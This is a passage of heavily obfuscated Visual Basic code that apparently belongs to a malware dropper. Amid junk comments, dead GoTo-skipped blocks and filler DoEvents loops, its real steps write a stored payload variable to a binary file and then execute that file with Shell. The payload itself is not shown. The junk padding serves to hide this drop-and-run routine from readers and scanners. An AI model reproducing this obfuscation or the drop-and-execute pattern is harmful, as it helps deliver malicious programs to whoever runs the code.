  609. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  610.    Open QQIHAVXECBT For Binary As #DELMXINGWSM
  611. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  612.  
  613. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  614. GoTo PSCIIOPW
  615. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  616. Dim FUTZWRAF As String
  617. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  618. Open "CFYSJS.CSU" For Binary As 71
  619. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  620. Dim ZINMRCGC As Integer
  621. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  622. For ZINMRCGC = 0 To 7
  623. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  624. DoEvents
  625. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  626. Next ZINMRCGC
  627. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  628. Put #71, , FUTZWRAF
  629. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  630. Dim EIBNIWUA As Integer
  631. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  632. For EIBNIWUA = 0 To 8
  633. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  634. DoEvents
  635. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  636. Next EIBNIWUA
  637. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  638. Close #71
  639. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  640. Dim HRYXKYCJ As Integer
  641. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  642. For HRYXKYCJ = 0 To 3
  643. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  644. DoEvents
  645. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  646. Next HRYXKYCJ
  647. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  648. PSCIIOPW:
  649. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  650.  
  651. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  652. Dim KWWGIZZX As Integer
  653. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  654. For KWWGIZZX = 0 To 8
  655. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  656. DoEvents
  657. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  658. Next KWWGIZZX
  659. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  660.    Put #DELMXINGWSM, , LDTQKJDSVUB
  661. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  662.  
  663. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  664. GoTo YTSNCSDT
  665. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  666. Dim QAMWPURC As String
  667. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  668. Open "GOTHAM.VAE" For Binary As 48
  669. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  670. Dim XLJUFYIG As Integer
  671. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  672. For XLJUFYIG = 0 To 9
  673. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  674. DoEvents
  675. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  676. Next XLJUFYIG
  677. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  678. Put #48, , QAMWPURC
  679. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  680. Dim PGCIPAHN As Integer
  681. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  682. For PGCIPAHN = 0 To 4
  683. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  684. DoEvents
  685. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  686. Next PGCIPAHN
  687. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  688. Close #48
  689. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  690. Dim VQREKSYH As Integer
  691. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  692. For VQREKSYH = 0 To 8
  693. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  694. DoEvents
  695. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  696. Next VQREKSYH
  697. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  698. YTSNCSDT:
  699. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  700.  
  701. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  702. Dim GDLLMKET As Integer
  703. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  704. For GDLLMKET = 0 To 1
  705. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  706. DoEvents
  707. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  708. Next GDLLMKET
  709. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  710.    Close #DELMXINGWSM
  711. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  712.  
  713. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  714. GoTo KQAHVBUV
  715. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  716. Dim CYPQQMBG As String
  717. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  718. Open "WVDQFD.FQO" For Binary As 64
  719. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  720. Dim LPGQNWOX As Integer
  721. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  722. For LPGQNWOX = 0 To 8
  723. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  724. DoEvents
  725. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  726. Next LPGQNWOX
  727. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  728. Put #64, , CYPQQMBG
  729. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  730. Dim CKVTMHKW As Integer
  731. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  732. For CKVTMHKW = 0 To 7
  733. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  734. DoEvents
  735. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  736. Next CKVTMHKW
  737. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  738. Close #64
  739. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  740. Dim XLMGDBZM As Integer
  741. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  742. For XLMGDBZM = 0 To 8
  743. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  744. DoEvents
  745. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  746. Next XLMGDBZM
  747. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  748. KQAHVBUV:
  749. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  750.  
  751. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  752. Dim BNZDQLEV As Integer
  753. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  754. For BNZDQLEV = 0 To 9
  755. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  756. DoEvents
  757. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  758. Next BNZDQLEV
  759. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  760.    
  761. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  762.    Dim QRVPAKCAJKU
  763. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  764.  
  765. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  766. GoTo GTGFJAZQ
  767. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  768. Dim UWTBIIJF As String
  769. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  770. Open "LIMPQF.SWH" For Binary As 68
  771. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  772. Dim CHYXCAOV As Integer
  773. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  774. For CHYXCAOV = 0 To 2
  775. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  776. DoEvents
  777. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  778. Next CHYXCAOV
  779. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  780. Put #68, , UWTBIIJF
  781. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  782. Dim FVGXMPHL As Integer
  783. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  784. For FVGXMPHL = 0 To 1
  785. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  786. DoEvents
  787. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  788. Next FVGXMPHL
  789. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  790. Close #68
  791. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  792. Dim HTCHGTBL As Integer
  793. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  794. For HTCHGTBL = 0 To 1
  795. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  796. DoEvents
  797. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  798. Next HTCHGTBL
  799. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  800. GTGFJAZQ:
  801. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  802.  
  803. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  804. Dim YKWCODZO As Integer
  805. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  806. For YKWCODZO = 0 To 8
  807. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  808. DoEvents
  809. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  810. Next YKWCODZO
  811. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  812.    QRVPAKCAJKU = Shell(QQIHAVXECBT, 1)
  813. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  814.  
  815. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  816.  
  817. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  818. GoTo NQADPCIE
  819. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  820. Dim YUPOCLNW As String
  821. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  822. Open "TFOZTM.TQO" For Binary As 11
  823. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  824. Dim YGUVVAHB As Integer
  825. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  826. For YGUVVAHB = 0 To 6
  827. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  828. DoEvents
  829. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  830. Next YGUVVAHB
  831. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  832. Put #11, , YUPOCLNW
  833. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  834. Dim OWHJLXVB As Integer
  835. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  836. For OWHJLXVB = 0 To 3
  837. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  838. DoEvents
  839. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  840. Next OWHJLXVB
  841. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  842. Close #11
  843. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  844. Dim QSYERLSN As Integer
  845. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  846. For QSYERLSN = 0 To 9
  847. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  848. DoEvents
  849. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  850. Next QSYERLSN
  851. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  852. NQADPCIE:
  853. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  854.  
  855. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  856. Dim ERGWASQJ As Integer
  857. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  858. For ERGWASQJ = 0 To 7
  859. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  860. DoEvents
  861. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  862. Next ERGWASQJ
  863. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  864.    Set KZVJXBLKGJA = Nothing
  865. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  866.  
  867. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  868. GoTo DHJEQQEW
  869. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  870. Dim TUIFAKKV As String
  871. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  872. Open "KFWTUY.ZYL" For Binary As 61
  873. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  874. Dim FJACDZIH As Integer
  875. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  876. For FJACDZIH = 0 To 6
  877. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  878. DoEvents
  879. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  880. Next FJACDZIH
  881. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  882. Put #61, , TUIFAKKV
  883. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  884. Dim RZNNEQLE As Integer
  885. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  886. For RZNNEQLE = 0 To 3
  887. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  888. DoEvents
  889. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  890. Next RZNNEQLE
  891. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  892. Close #61
  893. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  894. Dim LDBZLMEH As Integer
  895. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  896. For LDBZLMEH = 0 To 2
  897. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  898. DoEvents
  899. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  900. Next LDBZLMEH
  901. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  902. DHJEQQEW:
  903. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  904.  
  905. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  906. Dim DXNACPCR As Integer
  907. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  908. For DXNACPCR = 0 To 6
  909. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  910. DoEvents
  911. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  912. Next DXNACPCR
  913. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  914.      
